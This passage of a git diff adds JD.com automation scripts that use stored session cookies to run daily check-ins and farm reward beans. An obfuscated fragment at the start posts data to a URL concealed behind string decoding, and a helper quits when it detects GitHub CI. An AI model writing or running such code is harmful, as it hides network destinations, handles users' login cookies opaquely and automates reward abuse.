_0x5f5ad9={'\x75\x72\x6c':_0x27de('‮6e'),'\x62\x6f\x64\x79':JSON[_0x27de('‫8')](_0x23db17),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x2402da,'Content-Type':_0xad3eae[_0x27de('‮6f')]},'\x74\x69\x6d\x65\x6f\x75\x74':_0xad3eae[_0x27de('‫70')](0x1e,0x3e8)};$[_0x27de('‮71')](_0x5f5ad9,async(_0x4a1749,_0x300e08,_0x23db17)=>{if(_0x1c0efb[_0x27de('‫72')](_0x1c0efb[_0x27de('‫73')],_0x1c0efb[_0x27de('‫73')])){try{if(_0x4a1749){if(_0x1c0efb[_0x27de('‮74')](_0x1c0efb[_0x27de('‮75')],_0x1c0efb[_0x27de('‮76')])){_0x23db17=await geth5st[_0x27de('‮77')](this,arguments);}else{if(res[_0x27de('‮20')][_0x27de('‮21')]){$[_0x27de('‮22')]=res[_0x27de('‮20')][_0x27de('‮21')][0x0][_0x27de('‫23')][_0x27de('‮24')];}}}else{}}catch(_0x580180){if(_0x1c0efb[_0x27de('‫78')](_0x1c0efb[_0x27de('‮79')],_0x1c0efb[_0x27de('‮79')])){$[_0x27de('‫7a')](_0x580180,_0x300e08);}else{if(_0x4a1749){console[_0x27de('‫1d')](_0x4a1749);}else{res=JSON[_0x27de('‫1e')](_0x23db17);if(res[_0x27de('‮1f')]){console[_0x27de('‫1d')](res);$[_0x27de('‫4f')]=res[_0x27de('‮50')];}}}}finally{_0x1c0efb[_0x27de('‫7b')](_0x573221,_0x23db17);}}else{res=JSON[_0x27de('‫1e')](_0x23db17);if(res[_0x27de('‮1f')]){console[_0x27de('‫1d')](res);$[_0x27de('‫4f')]=res[_0x27de('‮50')];}}});});};_0xod7='jsjiami.com.v6'; + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_m_sign.js b/jd_m_sign.js new file mode 100644 index 0000000..d1e988f --- /dev/null +++ b/jd_m_sign.js @@ -0,0 +1,231 @@ + +/* +京东通天塔--签到 +脚本更新时间:2021-12-17 14:20 +脚本兼容: Node.js +=========================== +[task_local] +#京东通天塔--签到 +3 1,11 * * * jd_m_sign.js, tag=京东通天塔--签到, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + */ + +const $ = new Env('京东通天塔--签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = ''; +$.shareCodes = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdsign(); + // await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function jdsign() { + try { + console.log(`签到开始........`) + await getInfo("https://pro.m.jd.com/mall/active/3S28janPLYmtFxypu37AYAGgivfp/index.html");//拍拍二手签到 + await $.wait(2000) + await getInfo("https://pro.m.jd.com/mall/active/kPM3Xedz1PBiGQjY4ZYGmeVvrts/index.html");//陪伴 + await $.wait(2000) + await getInfo("https://pro.m.jd.com/mall/active/3SC6rw5iBg66qrXPGmZMqFDwcyXi/index.html");//京东图书 + await $.wait(2000) + await getInfo("https://prodev.m.jd.com/mall/active/412SRRXnKE1Q4Y6uJRWVT6XhyseG/index.html");//京东服装 +// await getInfo("https://pro.m.jd.com/mall/active/ZrH7gGAcEkY2gH8wXqyAPoQgk6t/index.html");//箱包签到 +// await $.wait(1000) +// await getInfo("https://pro.m.jd.com/mall/active/4RXyb1W4Y986LJW8ToqMK14BdTD/index.html");//鞋靴馆签到 + +// await $.wait(1000) +// await getInfo("https://pro.m.jd.com/mall/active/3joSPpr7RgdHMbcuqoRQ8HbcPo9U/index.html");//生活特权签到 + } catch (e) { + $.logErr(e) + } + +} + +async function getInfo(url) { + return new Promise(resolve => { + $.get({ + url, + headers: { + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)' + } + }, async (err, resp, data) => { + try { + $.encryptProjectId = resp.body.match(/"encryptProjectId\\":\\"(.*?)\\"/)[1]; + $.encryptAssignmentId = resp.body.match(/"encryptAssignmentId\\":\\"(.*?)\\"/)[1]; + await doInteractiveAssignment($.encryptProjectId, $.encryptAssignmentId); + resolve(); + } catch (e) { + console.log(e) + } + }) + }) +} + +// 签到 +async function doInteractiveAssignment(encryptProjectId, AssignmentId) { + return new Promise(async (resolve) => { + $.post(taskUrl("doInteractiveAssignment", { "encryptProjectId": encryptProjectId, "encryptAssignmentId": AssignmentId, "sourceCode": "aceaceqingzhan", "itemId": "1", "actionType": "", "completionFlag": "true", "ext": {} }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doInteractiveAssignment API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.subCode == '0' && data.rewardsInfo) { + // console.log(data.rewardsInfo); + if (data.rewardsInfo.successRewards['3'] && data.rewardsInfo.successRewards['3'].length != 0) { + console.log(`${data.rewardsInfo.successRewards['3'][0].rewardName},获得${data.rewardsInfo.successRewards['3'][0].quantity}京豆`); + } else if (data.rewardsInfo.failRewards.length != 0) { + console.log(`失败:${data.rewardsInfo.failRewards[0].msg}`); + } + } else if (data.subCode == '1403' || data.subCode == '1703') { + console.log(data.msg); + } else { + console.log(data.msg); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${encodeURI(JSON.stringify(body))}&appid=babelh5&sign=11&t=${(new Date).getTime()}`, + headers: { + 'Host': 'api.m.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://pro.m.jd.com', + 'Accept-Language': 'zh-cn', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://pro.m.jd.com', + 'Accept-Encoding': 'gzip, deflate, br', + 'Cookie': cookie + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_mhtask.js b/jd_mhtask.js new file mode 100644 index 0000000..a2754cb --- /dev/null +++ b/jd_mhtask.js @@ -0,0 +1,291 @@ +/* +#盲盒任务抽京豆,自行加入以下环境变量,多个活动用@连接 +export jd_mhurlList="" + +即时任务,无需cron +7 7 7 7 7 +作者: http://github.com/msechen/jdv5 + */ + +const $ = new Env('盲盒任务抽京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let jd_mhurlList = ''; +let jd_mhurlArr = []; +let jd_mhurl = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.jd_mhurlList) jd_mhurlList = process.env.jd_mhurlList + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + if (!jd_mhurlList) { + $.log(`暂时没有盲盒任务,改日再来~`); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let jd_mhurlArr = jd_mhurlList.split("@"); + for (let j = 0; j < jd_mhurlArr.length; j++) { + jd_mhurl = jd_mhurlArr[j] + console.log(`新的盲盒任务已经准备好: ${jd_mhurl},准备开始薅豆`); + try { + await jdMh(jd_mhurl) + } catch (e) { + $.logErr(e) + } + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdMh(url) { + try { + 